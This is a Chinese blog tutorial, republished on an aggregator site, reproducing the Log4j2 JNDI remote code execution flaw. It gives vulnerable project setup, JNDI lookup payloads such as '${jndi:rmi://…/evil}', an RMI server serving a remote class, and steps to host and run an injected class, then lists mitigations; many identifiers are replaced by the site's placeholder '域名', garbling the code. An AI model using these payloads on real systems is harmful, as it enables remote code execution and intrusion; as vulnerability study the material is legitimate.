飙血推荐
  • HTML教程
  • MySQL教程
  • JavaScript基础教程
  • php入门教程
  • JavaScript正则表达式运用
  • Excel函数教程
  • UEditor使用文档
  • AngularJS教程
  • ThinkPHP5.0教程

令无数程序员加班的 Log4j2 远程执行漏洞复现

时间:2021-12-13  作者:puzhiwei  
令无数程序员加班的 Log4j2 远程执行漏洞复现 令无数程序员加班的 Log4j2 远程执行漏洞复现,本文将通过一个简单的例子来告诉你这个漏洞到底有什么危害。

前情提要

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

构建maven项目引入Log4j2

编写 pom 文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://域名/POM/4.0.0"
         xmlns:xsi="http://域名/2001/XMLSchema-instance"
         xsi:schemaLocation="http://域名/POM/4.0.0 http://域名/xsd/maven-4.域名">
    <modelVersion>4.0.0</modelVersion>
 
    <groupId>域名ple</groupId>
    <artifactId>Log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>
 
    <dependencies>
        <!-- https://域名/artifact/域名域名j/log4j-core -->
        <dependency>
            <groupId>域名域名j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>域名.3</version>
        </dependency>
        <!-- https://域名/artifact/域名域名j/log4j-api -->
        <dependency>
            <groupId>域名域名j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>域名.3</version>
        </dependency>
 
    </dependencies>
 
    <properties>
        <域名ce>8</域名ce>
        <域名et>8</域名et>
    </properties>
 
</project>

编写测试代码

import 域名域名er;
import 域名域名anager;
 
 
public class log4jRCE {
    private static final Logger logger = 域名ogger(域名s);
    public static void main(String[] args) {
        // 避免因为Java版本过高而无法触发此漏洞
        域名roperty("域名.域名tURLCodebase","true");
        域名roperty("域名.域名tURLCodebase","true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        域名r("${jndi:ldap://ip:1389/Basic/Command/calc}");
    }
}

下载 JNDI 测试服务器

到 https://域名/feihong-cs/JNDIExploit

或者

https://域名/welk1n/JNDI-Injection-Exploit

下载 JNDIExploit 测试服务器

本次使用 JNDIExploit 举例

下载完成后使用

java -jar JNDIExploit-1.2-域名 -i ip

启动服务器

然后运行之前的Log4j2项目即可出现如图所示效果

 

加载运行自己的 class 类

编写 RMI服务器

import 域名.域名renceWrapper;
import 域名rence;
import 域名域名teRegistry;
import 域名域名stry;
 
/**
 * @author Pu Zhiwei
 * create          2021-12-11 22:06
 */
public class RMIServer {
    public static void main(String[] args) {
        域名roperty("域名.域名tURLCodebase","true");
        域名roperty("域名.域名tURLCodebase","true");
        try {
            域名teRegistry(1099);
            Registry registry = 域名egistry();
 
            域名tln("Create RMI registry on port 1099!");
            // 前两个参数为类名,第三个参数为远程类地址
            Reference reference = new Reference("Test", "Test", "http://192.域名:8080/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            域名("evil", referenceWrapper);
        } catch (Exception e) {
            域名tStackTrace();
        }
    }
}

编写测试类

public class Test {
    static {
        域名tln("你好 Log4j2");
    }
}

然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器

python -m 域名er 8080

修改 Log4j2 项目内容为

域名r("${jndi:rmi://192.域名:1099/evil}");

运行项目即可看到 Test 类已被执行

 

之后你就可以通过修改 Test 类实现更多操作。

如何防范

升级 Log4j2 到最新版本

使用最新版 JDK

临时解决方案:

  • 设置 jvm 参数 “-域名atMsgNoLookups=true”

  • 在项目 classpath 目录下添加 域名erties 配置文件,设置 域名atMsgNoLookups=true

  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

END

本文首发于 https://域名/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian

转载请注明来源

标签:Java编程
湘ICP备14001474号-3  投诉建议:234161800@qq.com   部分内容来源于网络,如有侵权,请联系删除。